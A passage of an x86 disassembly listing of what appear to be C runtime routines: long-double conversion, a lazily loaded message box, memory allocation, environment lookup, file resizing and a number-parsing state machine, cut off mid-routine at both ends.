		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41ED5C
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_515B00
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41F7F0
		mov	dword_515B28, eax
		add	esp, 18h
		movsx	eax, byte_515B02
		mov	dword_515B20, eax
		pop	edi
		movsx	eax, word_515B00
		mov	dword_515B24, eax
		mov	dword_515B2C, offset dword_515B04
		mov	eax, offset dword_515B20
		pop	esi
		leave
		retn
sub_41ECF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ED5C	proc near		; CODE XREF: sub_41ECF8+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41EDAA
		cmp	ebx, edi
		jz	short loc_41EDA3
		lea	edi, [ecx+3C00h]
		jmp	short loc_41EDCB
; ---------------------------------------------------------------------------


loc_41EDA3:				; CODE XREF: sub_41ED5C+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41EDCB
; ---------------------------------------------------------------------------


loc_41EDAA:				; CODE XREF: sub_41ED5C+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41EDC2
		cmp	edx, ebx
		jnz	short loc_41EDC2
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41EE0D
; ---------------------------------------------------------------------------


loc_41EDC2:				; CODE XREF: sub_41ED5C+52j
					; sub_41ED5C+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_41EDCB:				; CODE XREF: sub_41ED5C+45j
					; sub_41ED5C+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_41EDE3:				; CODE XREF: sub_41ED5C+A6j
		test	ecx, esi
		jnz	short loc_41EE04
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41EDE3
; ---------------------------------------------------------------------------


loc_41EE04:				; CODE XREF: sub_41ED5C+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_41EE0D:				; CODE XREF: sub_41ED5C+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ED5C	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_4191E5
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41EE1B	proc near		; CODE XREF: ___:0041CBFAp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_41EE2C
		add	esp, 0Ch
		retn
sub_41EE1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE2C	proc near		; CODE XREF: sub_41EE1B+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_516DA1[eax], cl
		jnz	short loc_41EE59
		cmp	[esp+arg_4], 0
		jz	short loc_41EE52
		movzx	eax, word_43B5AA[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_41EE54
; ---------------------------------------------------------------------------


loc_41EE52:				; CODE XREF: sub_41EE2C+16j
		xor	eax, eax


loc_41EE54:				; CODE XREF: sub_41EE2C+24j
		test	eax, eax
		jnz	short loc_41EE59
		retn
; ---------------------------------------------------------------------------


loc_41EE59:				; CODE XREF: sub_41EE2C+Fj
					; sub_41EE2C+2Aj
		push	1
		pop	eax
		retn
sub_41EE2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EE5D	proc near		; CODE XREF: sub_41D415+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_515B30, ebx
		push	esi
		push	edi
		jnz	short loc_41EEAC
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 7C801D77h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41EEE2
		mov	esi, dword_4210D8
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_515B30, eax
		jz	short loc_41EEE2
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_515B34, eax
		call	esi	; GetProcAddress
		mov	dword_515B38, eax


loc_41EEAC:				; CODE XREF: sub_41EE5D+Bj
		mov	eax, dword_515B34
		test	eax, eax
		jz	short loc_41EECB
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_41EECB
		mov	eax, dword_515B38
		test	eax, eax
		jz	short loc_41EECB
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_41EECB:				; CODE XREF: sub_41EE5D+56j
					; sub_41EE5D+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_515B30	; MessageBoxA


loc_41EEDE:				; CODE XREF: sub_41EE5D+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41EEE2:				; CODE XREF: sub_41EE5D+1Cj
					; sub_41EE5D+33j
		xor	eax, eax
		jmp	short loc_41EEDE
sub_41EE5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EEE6	proc near		; CODE XREF: sub_41D5D2+22p
					; sub_41D5D2+3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		imul	esi, [esp+0Ch+arg_4]
		cmp	esi, 0FFFFFFE0h
		mov	ebx, esi
		ja	short loc_41EF06
		test	esi, esi
		jnz	short loc_41EF00
		push	1
		pop	esi


loc_41EF00:				; CODE XREF: sub_41EEE6+15j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41EF06:				; CODE XREF: sub_41EEE6+11j
					; sub_41EEE6+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41EF37
		cmp	ebx, dword_43B7BC
		ja	short loc_41EF22
		push	ebx
		call	sub_419FAD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_41EF4D


loc_41EF22:				; CODE XREF: sub_41EEE6+2Dj
		push	esi
		push	8
		push	dword_516EC0
		nop
		call	near ptr 7C9105D4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41EF59


loc_41EF37:				; CODE XREF: sub_41EEE6+25j
		cmp	dword_5158DC, 0
		jz	short loc_41EF59
		push	esi
		call	sub_419BC2
		test	eax, eax
		pop	ecx
		jz	short loc_41EF5F
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF4D:				; CODE XREF: sub_41EEE6+3Aj
		push	ebx
		push	0
		push	edi
		call	sub_417430
		add	esp, 0Ch


loc_41EF59:				; CODE XREF: sub_41EEE6+4Fj
					; sub_41EEE6+58j
		mov	eax, edi


loc_41EF5B:				; CODE XREF: sub_41EEE6+7Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41EF5F:				; CODE XREF: sub_41EEE6+63j
		xor	eax, eax
		jmp	short loc_41EF5B
sub_41EEE6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D677


loc_41EF63:				; CODE XREF: sub_41D677+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_516B60, esi
		jle	short loc_41EFB6


loc_41EF72:				; CODE XREF: sub_41D677+193Dj
		mov	eax, dword_515B4C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41EFAD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41EF91
		push	eax
		call	sub_4180DC
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41EF91
		inc	edi


loc_41EF91:				; CODE XREF: sub_41D677+190Bj
					; sub_41D677+1917j
		cmp	esi, 14h
		jl	short loc_41EFAD
		mov	eax, dword_515B4C
		push	dword ptr [eax+esi*4]
		call	sub_417C62
		mov	eax, dword_515B4C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_41EFAD:				; CODE XREF: sub_41D677+1905j
					; sub_41D677+191Dj
		inc	esi
		cmp	esi, dword_516B60
		jl	short loc_41EF72


loc_41EFB6:				; CODE XREF: sub_41D677+18F9j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41D677

; =============== S U B	R O U T	I N E =======================================



sub_41EFBB	proc near		; CODE XREF: sub_41DD12+23p

arg_0		= dword	ptr  4

		cmp	dword_516EC8, 0
		push	ebx
		push	esi
		mov	esi, dword_5158AC
		push	edi
		jz	short loc_41F032
		test	esi, esi
		jnz	short loc_41EFEC
		cmp	dword_5158B4, esi
		jz	short loc_41F032
		call	sub_41FAC2
		test	eax, eax
		jnz	short loc_41F032
		mov	esi, dword_5158AC
		test	esi, esi
		jz	short loc_41F032


loc_41EFEC:				; CODE XREF: sub_41EFBB+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41F032
		push	ebx
		call	sub_417AF0
		pop	ecx
		mov	edi, eax


loc_41EFFD:				; CODE XREF: sub_41EFBB+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41F032
		push	eax
		call	sub_417AF0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41F025
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41F025
		push	edi
		push	ebx
		push	eax
		call	sub_41FA83
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F02A


loc_41F025:				; CODE XREF: sub_41EFBB+51j
					; sub_41EFBB+59j
		add	esi, 4
		jmp	short loc_41EFFD
; ---------------------------------------------------------------------------


loc_41F02A:				; CODE XREF: sub_41EFBB+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41F032:				; CODE XREF: sub_41EFBB+10j
					; sub_41EFBB+1Cj ...
		xor	eax, eax


loc_41F034:				; CODE XREF: sub_41EFBB+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41EFBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F038	proc near		; CODE XREF: sub_41E476+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B70
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_516C80
		jnb	loc_41F16D
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_516B80[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41F16D
		push	1
		push	esi
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41F177
		push	2
		push	esi
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41F177
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41F11A
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417430
		push	8000h
		push	ebx
		call	sub_41FB30
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41F0CE:				; CODE XREF: sub_41F038+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41F0D9
		mov	eax, edi


loc_41F0D9:				; CODE XREF: sub_41F038+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41BE4F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F0F7
		sub	edi, eax
		test	edi, edi
		jle	short loc_41F10D
		jmp	short loc_41F0CE
; ---------------------------------------------------------------------------


loc_41F0F7:				; CODE XREF: sub_41F038+B5j
		cmp	dword_515888, 5
		jnz	short loc_41F10A
		mov	dword_515884, 0Dh


loc_41F10A:				; CODE XREF: sub_41F038+C6j
		or	esi, 0FFFFFFFFh


loc_41F10D:				; CODE XREF: sub_41F038+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41FB30
		pop	ecx
		pop	ecx
		jmp	short loc_41F15A
; ---------------------------------------------------------------------------


loc_41F11A:				; CODE XREF: sub_41F038+71j
		jge	short loc_41F15A
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41BA39
		push	ebx
		call	sub_41E3E2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 7C832044h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F15A
		mov	dword_515884, 0Dh
		nop
		call	near ptr 7C910331h
		mov	dword_515888, eax


loc_41F15A:				; CODE XREF: sub_41F038+E0j
					; sub_41F038:loc_41F11Aj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BA39
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41F17A
; ---------------------------------------------------------------------------


loc_41F16D:				; CODE XREF: sub_41F038+1Aj
					; sub_41F038+36j
		mov	dword_515884, 9


loc_41F177:				; CODE XREF: sub_41F038+4Ej
					; sub_41F038+63j
		or	eax, 0FFFFFFFFh


loc_41F17A:				; CODE XREF: sub_41F038+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41F038	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F17E	proc near		; CODE XREF: sub_41E8DE+2Bp
					; sub_41E8DE+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_41F194
		cmp	ecx, esi
		jnb	short loc_41F197


loc_41F194:				; CODE XREF: sub_41F17E+10j
		push	1
		pop	eax


loc_41F197:				; CODE XREF: sub_41F17E+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_41F17E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F19F	proc near		; CODE XREF: sub_41F258+40p
					; sub_41F258+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41F17E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F1D1
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41F17E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F1D1
		inc	dword ptr [esi+8]


loc_41F1D1:				; CODE XREF: sub_41F19F+19j
					; sub_41F19F+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41F17E
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41F1E9
		inc	dword ptr [esi+8]


loc_41F1E9:				; CODE XREF: sub_41F19F+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41F17E
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41F19F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F1FD	proc near		; CODE XREF: sub_41F258+30p
					; sub_41F258+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41F1FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F22B	proc near		; CODE XREF: sub_41F7F0+1C8p
					; sub_41FBA6+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41F22B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F258	proc near		; CODE XREF: sub_41F31F+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41F2CC
		push	edi
		mov	[ebp+arg_8], eax


loc_41F27F:				; CODE XREF: sub_41F258+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41F1FD
		push	ebx
		call	sub_41F1FD
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F19F
		push	ebx
		call	sub_41F1FD
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41F19F
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41F27F
		xor	edx, edx
		pop	edi


loc_41F2CC:				; CODE XREF: sub_41F258+21j
					; sub_41F258+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41F2F9
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41F2CC
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F258+77j
		mov	esi, 8000h


loc_41F2FE:				; CODE XREF: sub_41F258+B9j
		test	[ebx+8], esi
		jnz	short loc_41F313
		push	ebx
		call	sub_41F1FD
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41F2FE
; ---------------------------------------------------------------------------


loc_41F313:				; CODE XREF: sub_41F258+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41F258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F31F	proc near		; CODE XREF: sub_41EC27+17p
					; sub_41EC54+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41F35A:				; CODE XREF: sub_41F31F+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41F370
		cmp	cl, 9
		jz	short loc_41F370
		cmp	cl, 0Ah
		jz	short loc_41F370
		cmp	cl, 0Dh
		jnz	short loc_41F373


loc_41F370:				; CODE XREF: sub_41F31F+40j
					; sub_41F31F+45j ...
		inc	edi
		jmp	short loc_41F35A
; ---------------------------------------------------------------------------


loc_41F373:				; CODE XREF: sub_41F31F+4Fj
		push	4
		pop	esi


loc_41F376:				; CODE XREF: sub_41F31F+AEj
					; sub_41F31F+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41F5F9	; default
					; jumptable 0041F382 case 10
		jmp	off_41F7C0[eax*4] ; switch jump


loc_41F389:				; DATA XREF: ___:off_41F7C0o
		cmp	bl, 31h		; jumptable 0041F382 case 0
		jl	short loc_41F39A
		cmp	bl, 39h
		jg	short loc_41F39A


loc_41F393:				; CODE XREF: sub_41F31F+C4j
					; sub_41F31F+118j
		push	3
		jmp	loc_41F5B7
; ---------------------------------------------------------------------------


loc_41F39A:				; CODE XREF: sub_41F31F+6Dj
					; sub_41F31F+72j
		cmp	bl, byte_43B7B0
		jnz	short loc_41F3A9


loc_41F3A2:				; CODE XREF: sub_41F31F+124j
		push	5
		jmp	loc_41F5EF
; ---------------------------------------------------------------------------


loc_41F3A9:				; CODE XREF: sub_41F31F+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41F3CF
		dec	eax
		dec	eax
		jz	short loc_41F3C3
		sub	eax, 3
		jnz	loc_41F692
		jmp	loc_41F452
; ---------------------------------------------------------------------------


loc_41F3C3:				; CODE XREF: sub_41F31F+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41F376
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F31F+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41F376
; ---------------------------------------------------------------------------


loc_41F3D8:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	bl, 31h		; jumptable 0041F382 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41F3E5
		cmp	bl, 39h
		jle	short loc_41F393


loc_41F3E5:				; CODE XREF: sub_41F31F+BFj
		cmp	bl, byte_43B7B0
		jz	loc_41F4AD
		cmp	bl, 2Bh
		jz	short loc_41F427
		cmp	bl, 2Dh
		jz	short loc_41F427
		cmp	bl, 30h
		jz	short loc_41F452


loc_41F400:				; CODE XREF: sub_41F31F+207j
		cmp	bl, 43h
		jle	loc_41F692
		cmp	bl, 45h
		jle	short loc_41F420
		cmp	bl, 63h
		jle	loc_41F692
		cmp	bl, 65h
		jg	loc_41F692


loc_41F420:				; CODE XREF: sub_41F31F+EDj
		push	6
		jmp	loc_41F5EF
; ---------------------------------------------------------------------------


loc_41F427:				; CODE XREF: sub_41F31F+D5j
					; sub_41F31F+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41F5EF
; ---------------------------------------------------------------------------


loc_41F42F:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	bl, 31h		; jumptable 0041F382 case 2
		jl	short loc_41F43D
		cmp	bl, 39h
		jle	loc_41F393


loc_41F43D:				; CODE XREF: sub_41F31F+113j
		cmp	bl, byte_43B7B0
		jz	loc_41F3A2
		cmp	bl, 30h
		jnz	loc_41F607


loc_41F452:				; CODE XREF: sub_41F31F+9Fj
					; sub_41F31F+DFj
		mov	eax, edx
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F459:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		mov	[ebp+var_10], edx ; jumptable 0041F382 case 3


loc_41F45C:				; CODE XREF: sub_41F31F+184j
		cmp	dword_43B7AC, edx
		jle	short loc_41F475
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F483
; ---------------------------------------------------------------------------


loc_41F475:				; CODE XREF: sub_41F31F+143j
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F483:				; CODE XREF: sub_41F31F+154j
		test	eax, eax
		jz	short loc_41F4A5
		cmp	[ebp+var_4], 19h
		jnb	short loc_41F49D
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41F4A0
; ---------------------------------------------------------------------------


loc_41F49D:				; CODE XREF: sub_41F31F+16Cj
		inc	[ebp+var_8]


loc_41F4A0:				; CODE XREF: sub_41F31F+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F45C
; ---------------------------------------------------------------------------


loc_41F4A5:				; CODE XREF: sub_41F31F+166j
		cmp	bl, byte_43B7B0
		jnz	short loc_41F514


loc_41F4AD:				; CODE XREF: sub_41F31F+CCj
		mov	eax, esi
		jmp	loc_41F376
; ---------------------------------------------------------------------------


loc_41F4B4:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	[ebp+var_4], 0	; jumptable 0041F382 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41F4CD


loc_41F4C0:				; CODE XREF: sub_41F31F+1ACj
		cmp	bl, 30h
		jnz	short loc_41F4CD
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F4C0
; ---------------------------------------------------------------------------


loc_41F4CD:				; CODE XREF: sub_41F31F+19Fj
					; sub_41F31F+1A4j ...
		cmp	dword_43B7AC, edx
		jle	short loc_41F4E6
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F4F4
; ---------------------------------------------------------------------------


loc_41F4E6:				; CODE XREF: sub_41F31F+1B4j
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F4F4:				; CODE XREF: sub_41F31F+1C5j
		test	eax, eax
		jz	short loc_41F514
		cmp	[ebp+var_4], 19h
		jnb	short loc_41F50F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41F50F:				; CODE XREF: sub_41F31F+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F4CD
; ---------------------------------------------------------------------------


loc_41F514:				; CODE XREF: sub_41F31F+18Cj
					; sub_41F31F+1D7j
		cmp	bl, 2Bh
		jz	loc_41F427
		cmp	bl, 2Dh
		jz	loc_41F427
		jmp	loc_41F400
; ---------------------------------------------------------------------------


loc_41F52B:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		cmp	dword_43B7AC, edx ; jumptable 0041F382 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41F547
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F555
; ---------------------------------------------------------------------------


loc_41F547:				; CODE XREF: sub_41F31F+215j
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F555:				; CODE XREF: sub_41F31F+226j
		test	eax, eax
		jz	loc_41F607
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F561:				; CODE XREF: sub_41F31F+63j
					; DATA XREF: ___:off_41F7C0o
		lea	ecx, [edi-2]	; jumptable 0041F382 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41F571
		cmp	bl, 39h
